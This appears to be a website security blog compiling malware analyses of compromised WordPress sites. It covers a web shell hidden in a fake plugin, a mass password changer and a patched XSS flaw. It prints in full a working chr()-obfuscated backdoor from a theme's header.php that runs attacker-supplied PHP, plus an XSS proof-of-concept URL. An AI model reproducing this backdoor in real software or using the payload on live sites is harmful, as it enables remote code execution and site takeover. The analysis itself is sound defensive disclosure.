Webshell in Fake Plugin /blnmrpb/ Directory

Our team recently discovered a web shell attempting to hide within a fake WordPress plugin directory wp-content/plugins/blnmrpb/. Inside this fake plugin directory were only two files: index.php and log.txt.

At first glance, the index.php file’s code appears to be very benign. The entire file contains only a single line of actual PHP code ⁠— the rest is simply comments and code tags.

Fake CMSmap WordPress Shell

CMSmap - WordPress Shell is only half right; the file has nothing to do with CMSmap but it is a shell. This single line of PHP uses the include() function to pull the malicious payload from log.txt.

On its own, the log.txt file is not parsed as PHP unless specific changes are made to the .htaccess file or HTTP configuration. When the log.txt file is loaded by include() then the malicious contents within log.txt can be loaded and parsed within the index.php file itself. This allows the index.php file to execute the malicious code from log.txt and allows index.php to look benign by itself.

encoded base64 PHP shell found in log.txt

The bulk of the PHP shell’s code found in log.txt is contained within a long string. Only a portion is shown in the image, however the string actually contains over 60,000 characters. It has been encoded with base64 and then compressed to reduce its overall size.

The log.txt file also conceals the PHP functions used to evaluate the string of text by using hexadecimal values instead of ASCII text:

273B6576616C28677A756E636F6D7072657373286261736536345F6465636F64652827
Hex => ASCII
';eval(gzuncompress(base64_decode('

After decoding the base64 and uncompressing the text string, it goes from ~60,000 characters to ~147,000 characters — and we are left with raw PHP code which used to load the GUI shell in the browser.

PHP shell loaded in browser for login

When the PHP shell file is loaded in the browser, it prompts the user for a password to access the shell’s functionality. This is a common method of access control for web shells in general.

In this case, the file name doesn’t need to be specified in the URL since it’s been aptly named index.php — the default index file for most HTTP server configurations.

This PHP web shell was written in Chinese, so I've used Google Chrome's translate feature to convert the text into English for easier navigation.

PHP webshell dashboard and features

It offers much of the same features that are prevalent in similar GUI PHP shells and offers a range of functionality when installed in a compromised environment:

  • PHP Code Execution: An attacker can execute PHP code through the shell itself.
  • MySQL Connection: Allows a bad actor to connect to a database to perform various functions like downloading a data dump or deleting content by dropping tables, etc.
  • Port Scanning: Scanning for open port within the server is less likely to be blocked, allowing attackers to pinpoint open ports within the network.
  • GUI File Manager: Facilitates file management similar to FTP or cPanel’s File Manager.
  • Server Information: This feature lists important information about the website’s server environment including type of operating system (e.g uname) and running services.
  • Reverse Shells: Attackers can use this feature to bind a shell to a port from the compromised website's server to a separate, externally controlled server.

Backdoor Found in Compromised WordPress Environment

Our security analyst Ben Martin recently came across a backdoor in a compromised WordPress installation that had been injected into the first line of the theme file ./wp-content/themes/flatsome/header.php. 

<?php
if(isset($_POST[chr(97).chr(115).chr(97).chr(118).chr(115).chr(100).chr(118).chr(100).chr(115)]) && md5($_POST[chr(108).chr(103).chr(107).chr(102).chr(103).chr(104).chr(100).chr(102).chr(104)]) == chr(101).chr(57).chr(55).chr(56).chr(55).chr(97).chr(100).chr(99).chr(53).chr(50).chr(55).chr(49).chr(99).chr(98).chr(48).chr(102).chr(55).chr(54).chr(53).chr(50).chr(57).chr(52).chr(53).chr(48).chr(51).chr(100).chr(97).chr(51).chr(102).chr(50).chr(100).chr(99)) 
   { $a = chr(109).chr(110);
     $n1 = chr(102).chr(105).chr(108).chr(101).chr(95);
     $n2 = chr(112).chr(117).chr(116).chr(95);
     $n3 = $n1.$n2.chr(99).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(115);
     $b1 = chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);
     $b2 = chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).$b1;
     $z1 = chr(60).chr(63).chr(112).chr(104).chr(112).chr(32);
     $z2 = $z1.$b2($_REQUEST[chr(100).chr(49)]);
     $z3 = $b2($_REQUEST[chr(100).chr(49)]);
@$n3($a,$z2);
@include($a);@unlink($a);
$a = chr(47).chr(116).chr(109).chr(112).chr(47).$a;
@$n3($a,$z2);
@include($a);@unlink($a);die();
  } ?>

In this malicious sample, attackers use a well-known method to obfuscate the code called "string concatenation". Through the usage of the PHP function chr(), they store individual decimal values that correlate to the desired ASCII characters — making something like chr(104).chr(105) the equivalent to the ASCII characters for 'hi'.

The beginning of the code has two conditional checks within an if statement that need to be met before the malicious code will be executed:

  1. $_POST parameter with the name asavsdvds must exist in the attacker’s request
  2. $_POST parameter with the name lgkfghdfh must contain a value that whose MD5 hash sum equals e9787adc5271cb0f765294503da3f2dc

When decoded, the following variables show the purpose of this malicious code:

  • $a = mn and later changed to /tmp/mn
  • $n3 = file_put_contents
  • $b2 = base64_decode
  • $z2 = <?php base64_decode($_REQUEST[d1])
  • $n3 = file_put_contents

@$n3($a, $z2);
/*
replacing variables to make it easier to read:
@file_put_contents(mn, base64_decoded value of attacker's 'd1' request)
*/
@include($a);
@unlink($a);

The backdoor uses file_put_contents() to insert PHP code into a file named mn which is delivered to the file through the attacker’s encoded base64 $_REQUEST named d1.

The PHP function include() is used to load the mn file which contains the malicious PHP code delivered by the attacker’s HTTP request. After the mn file coding is included, then it is removed by the PHP function unlink.

The malicious code then repeats the same process — but this time it uses the file location /tmp/mn instead of mn. This is likely done to avoid any possible ownership or permission errors that may occur when using file_put_contents() to generate the file in the attacker’s request.

Since the malicious contents are provided by the attacker in their base64 encoded HTTP request, there’s a number of possibilities as to what PHP code could be getting included in ./wp-content/themes/flatsome/header.php. One example that is easy to demonstrate is passing along a base64 encoded string of the PHP code system(ls);.

Once loaded through the include() function, it will show the attacker the directory file listing.

directory file listing malicious code

The attacker can use a backdoor injection like this to maintain access to the compromised environment to remotely execute code until the injection has been fully removed.

WordPress Mass Password Changer

Our team recently came across a password changer for WordPress that allows attackers to modify WordPress user passwords within a compromised environment.

wordpress mass password changer php file

By default, the tool is set to target user ID=1, which is almost always the administrative user. This tool is fairly customizable, allowing attackers to modify or target all usernames and passwords within the WordPress installation.

wordpress mass password changer user interface

To initiate a password change, the attacker defines the location of the wp-config.php file in the Config List.

When the Submit button is pressed, the script sends a POST request containing data like the username and password to the PHP file.

wordpress mass password changer success notification

The URL is then gathered from the config list provided in the interface, and pulls database information from wp-config.php to change the username and information for the profile.

The function file_get_contents2 is a custom function that grabs the data using curl and drops the changes into a pchangedlist.txt file for future reference.

Wrong content-type to XSS

WordPress Social Sharing Plugin – Sassy Social Share, which currently has over 100000 installations just fixed a Cross Site Scripting Vulnerability. This bug allows attackers to send custom links that direct unsuspecting users toward a vulnerable page. From this page, they often employ a variety of methods to trigger their proof of concept.

Let’s take a look to the patch:

                }

JSON data returned to the user didn’t have a content type defined in the function _ajaxresponse() and the default is html. This together with the following snipped allowing any authenticated user consume that endpoint makes this bug really easy for attackers to exploit:

includes/class-sassy-social-share.php
205:        add_action( 'wp_ajax_heateor_sss_sharing_count', array( $plugin_public, 'fetch_share_counts' ) );
206:        add_action( 'wp_ajax_nopriv_heateor_sss_sharing_count', array( $plugin_public, 'fetch_share_counts' ) );

Because of the nature of the bug, and due this issue was already fixed, we can share a simple PoC that shows how a malicious link abusing this vulnerability might be presented:

http://vulnerablesite.com/wp-admin/admin-ajax.php?action=heateor_sss_sharing_count&urls[<h onmouseover%3Dalert(1)>]=hola.com&urls[1]=hola2.com

If you have an old version of this plugin installed please update to the latest version (3.3.4) asap. You can add a WAF as a second layer of protection and virtually patch the vulnerability.
